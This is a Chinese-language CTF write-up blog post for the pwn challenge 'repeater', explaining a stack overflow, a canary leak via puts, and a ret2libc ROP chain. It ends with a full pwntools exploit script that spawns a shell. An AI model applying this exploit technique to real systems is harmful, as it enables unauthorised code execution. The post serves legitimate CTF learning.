$CTF^2$ （原buuctf）平台上的题目，写了个wp，同步到博客

题目： repeater

分类： pwn

难度： hard

平台： $CTF^2$

  1. 分析题目

从题目拿到的附件只有一个二进制文件repeater。

checksec发现

1
2
3
4
5
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)

有canary，无PIE

拉进ida分析，由于代码量少，可以容易看到漏洞点区域如下

1
2
3
4
5
6
7
8
9
10
11
while ( !dword_60108C )
  {
    printf("What do you want me to repeat with you? Please enter it to me:");
    read(0, buf, 0x100u);
    puts(buf);
    printf("Do you want to continue?");
    __isoc99_scanf("%d", &dword_60108C);
    getchar();
  }
  dword_60108C = 0;
  puts("hah,you are so stupid!!!");
  1. 确定漏洞及其利用方式

在代码中read(0, buf, 0x100u);，buf为0x30，溢出了0xd0字节，考虑栈溢出。

由于有canary，参考ida逆向的栈结构，写出

1
payload = b'a'*0x28 + canary + b'a'*0x8 + backdoor

因此利用目的变为获取canary与构造backdoor部分。

  1. canary泄露

以payload = b'a'*0x29测试。由于canary存在特性，第一个，即末尾为b’\x00’，此处覆盖的时候，覆盖了canary的末尾项b’\x00’。

puts(buf);此时将canary也识别为buf中的一部分，泄露了出来。

1
2
3
4
5
6
7
8
9
10
              _
__      _____| | ___ ___  _ __ ___   ___
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
 \ V  V /  __/ | (_| (_) | | | | | |  __/
  \_/\_/ \___|_|\___\___/|_| |_| |_|\___|

haha,Human nature is a repeater.

What do you want me to repeat with you? Please enter it to me:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe9\x06\x80D-\xa6\x08\xc8\xdf\x0f\x8e\xfd\x7f
Do you want to continue?

由此获得canary。

1
2
p.recvuntil('What do you want me to repeat with you? Please enter it to me:')
canary = b'\x00' + p.recvline().rstrip(b'\n')[0x29:0x30] #即提取末尾7位
  1. 确定backdoor的构造

此处有了canary，其实已经变成了常规的栈溢出题目了。本人采取ret2libc的方式来解决最后的部分。

由于题目中没有libc本体，意味着我们需要泄露至少一个got表上的内容来确定靶机上使用的libc。

1
payload = b'a' * 0x28 + canary + b'a'*8+ p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main)

main为主函数地址，用于在泄露之后再次利用同一漏洞点，调用system。

1
payload = b'a' * 0x28 + canary + b'a'*8+ p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(main)
  1. 整合代码

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

context.terminal = ["tmux", "splitw", "-h"] 
context(arch = 'amd64', os = 'linux')
p = process('./pwn')
#p = remote("e8b49b8d0f3de3e28f1f2ebf.tcp-ctf2.dasctf.com", 9999, ssl=True, sni="e8b49b8d0f3de3e28f1f2ebf.tcp-ctf2.dasctf.com")
elf = ELF('./pwn')

'''
代码糖，用于缩短代码。继承自前辈的代码。
'''
s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))

def lg(buf):
    log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

'''
exp主体
'''
main = 0x4007D9
pop_rdi = 0x0000000000400933 #ROPgadget获得
#泄露canary
payload = b'a' * 0x29
s(payload)
ru('What do you want me to repeat with you? Please enter it to me:')
canary = b'\x00' + p.recvline().rstrip(b'\n')[0x29:0x30]
print("canary = ",canary)#canary不是地址，上面定义的lg是专门给地址用的
sl('0')#继续漏洞点
#执行libc泄露
payload = b'a' * 0x28 + canary + b'a'*8+ p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main)
s(payload)
sl('1')#退出函数以执行栈溢出之后的函数。
ru('stupid!!!\n')
puts = u64(p.recvline().rstrip().ljust(8, b'\x00'))
lg("puts")
base = puts - 0x6f6a0
lg("base")
bin_sh = base + 0x18ce57
system = base + 0x453a0
#执行system("/bin/sh")来get_shell
payload = b'a' * 0x28 + canary + b'a'*8+ p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(main)
s(payload)
sl('1')#同上，退出函数以执行溢出覆盖的部分

p.interactive()

说些什么吧！

valine